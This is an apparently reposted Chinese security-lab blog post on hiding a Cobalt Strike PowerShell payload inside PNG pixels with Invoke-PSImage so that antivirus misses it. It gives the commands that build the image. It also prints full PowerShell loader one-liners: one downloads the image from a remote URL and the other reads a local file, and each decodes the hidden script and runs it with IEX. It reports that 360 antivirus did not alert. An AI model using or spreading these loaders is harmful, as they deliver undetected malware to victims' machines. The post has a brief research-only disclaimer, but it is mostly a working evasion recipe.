『杂项』利用隐写技术进行免杀

admin 2022年5月26日02:49:50评论194 views字数 2756阅读9分11秒阅读模式
『杂项』利用隐写技术进行免杀

点击蓝字,关注我们



日期:2022-05-25

作者:nothing

介绍:利用隐写技术可以很好的隐藏shellcode,从而达到免杀的目的。


0x00 前言

以前只在CTF中运用过隐写技术,但是隐写技术也可以用在实战中,最根本的目的还是隐藏一些信息和数据。shellcode的本质还是文字,可以将文字隐藏到图片的RGB三颜色通道中去,从而达到躲避杀软检测的目的,可以很好地实现免杀。

0x01 RGB隐写技术

使用的脚本地址:https://github.com/dayuxiyou/Invoke-PSImage

其实本质上使用的是图片隐写技术中相对简单的最低有效位隐写(LSB)的方式进行数据隐藏,采用嵌入的方式,将有效的shellcode隐藏到每个像素点中的两个颜色通道中的四个低位中去,这样既可以达到不影响图片显示的目的,又可以尽可能的隐藏多的数据。

『杂项』利用隐写技术进行免杀

『杂项』利用隐写技术进行免杀

『杂项』利用隐写技术进行免杀

『杂项』利用隐写技术进行免杀

图像的每个像素都用于保存一个字节的脚本,当shellcode过大的时候,就需要找一个分辨率足够大,像素点足够多的图片作为载体,例如1920*1200这种大像素图片。

0x02 演示过程

2.1 生成图片

首先,使用cobaltstrike生成一个powershellpayload

『杂项』利用隐写技术进行免杀

payload和图片还有脚本放在一起,输入可以是任何格式的图片,输出会自动转换成png格式,由于png是无损压缩,这样才能更完整的保存隐藏的payload,保证不会在传输过程中数据被破坏。

『杂项』利用隐写技术进行免杀
# 设置执行策略Set-ExecutionPolicy Unrestricted -Scope CurrentUser# 导入 Invoke-PSimage.ps1 文件Import-Module .Invoke-PSimage.ps1# 生成带有 Shellcode 的图片,-Web是输出远程加载命令的选项,不加的话就会输出本地加载的命令Invoke-PSImage -Script .payload.ps1 -Image .origin.jpg -Out .shell.png -Web

『杂项』利用隐写技术进行免杀


此时,我们使用本地和远程的方式,各生成了一张图片,可以看的出来,本地和远程的生成的图片大小还是有区别的,本地的要更大一点。

『杂项』利用隐写技术进行免杀

2.2 免杀效果

我们把生成的两张图片和原生payload脚本,分别上传到VT上进行下检测,看看是否能被杀软检测出来。

shell_remote.png的检测结果:

https://www.virustotal.com/gui/file/e7f7ba30bd2755341962299f7202054d928c892c7f2e86158c4f3fedb58648c7?nocache=1

『杂项』利用隐写技术进行免杀

shell_local.png的检测结果:

https://www.virustotal.com/gui/file/234e67c6786dc8ed41ef62595f328245b1a4e4d8b425b9e6f4c3b7c1a559113a?nocache=1

『杂项』利用隐写技术进行免杀

payload.ps1本身的检测结果:
https://www.virustotal.com/gui/file/8a762a46deae451d144ae85994e5de03cee44270e6c348fbf075ffda0a09d5d2?nocache=1

『杂项』利用隐写技术进行免杀

可以很显然看得出来,使用RGB方式隐藏以后,就无法被杀毒软件检测出来了,免杀效果很棒。

2.3 远程加载

首先我们尝试进行远程加载,需要加-Web参数,得到执行命令如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 6000;(0..0)|%{foreach($x in(0..5999)){$p=$g.GetPixel($x,$_);$o[$_*6000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3058]))

我们将OpenRead函数中的参数换成我们远程加载的图片参数的地址,然后执行命令尝试。

『杂项』利用隐写技术进行免杀

在开启360的情况下没有告警,直接上线。

『杂项』利用隐写技术进行免杀

使用360杀毒扫描目录,也仅发现了payload.ps1有危险。

『杂项』利用隐写技术进行免杀

使用远程加载固然方便,但是由于生成的图片非常大,原本6M的图片生成完以后,有50M+,如果目标主机网速不够的话,远程加载所耗的时间较长,容易引起注意,所以我们可以尽可能的使用本地加载。

2.4 本地加载

使用本地加载不需要添加-Web参数,直接生成即可,得到的执行命令如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:UsersnothingDesktopInvoke-PSImage-mastershell_local.png");$o=a Byte[] 6000;(0..0)|%{foreach($x in(0..5999)){$p=$g.GetPixel($x,$_);$o[$_*6000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3058]))

把之前的远程加载的卸载掉,重新执行本地加载的命令。

『杂项』利用隐写技术进行免杀

执行完毕后成功上线,360也并未进行弹窗提醒。『杂项』利用隐写技术进行免杀

0x03 总结

采用这种方式进行免杀,可以很好的绕过杀软对木马本身的检测和查杀,但如果杀软对行为进行查杀,禁止联网,那么远程加载就无法使用了,如果杀软对powershell命令进行检测的话,那就要另外想办法对powershell的命令进行混淆了。


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『杂项』利用隐写技术进行免杀

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『杂项』利用隐写技术进行免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月26日02:49:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『杂项』利用隐写技术进行免杀https://cn-sec.com/archives/1050006.html

发表评论

匿名网友 填写信息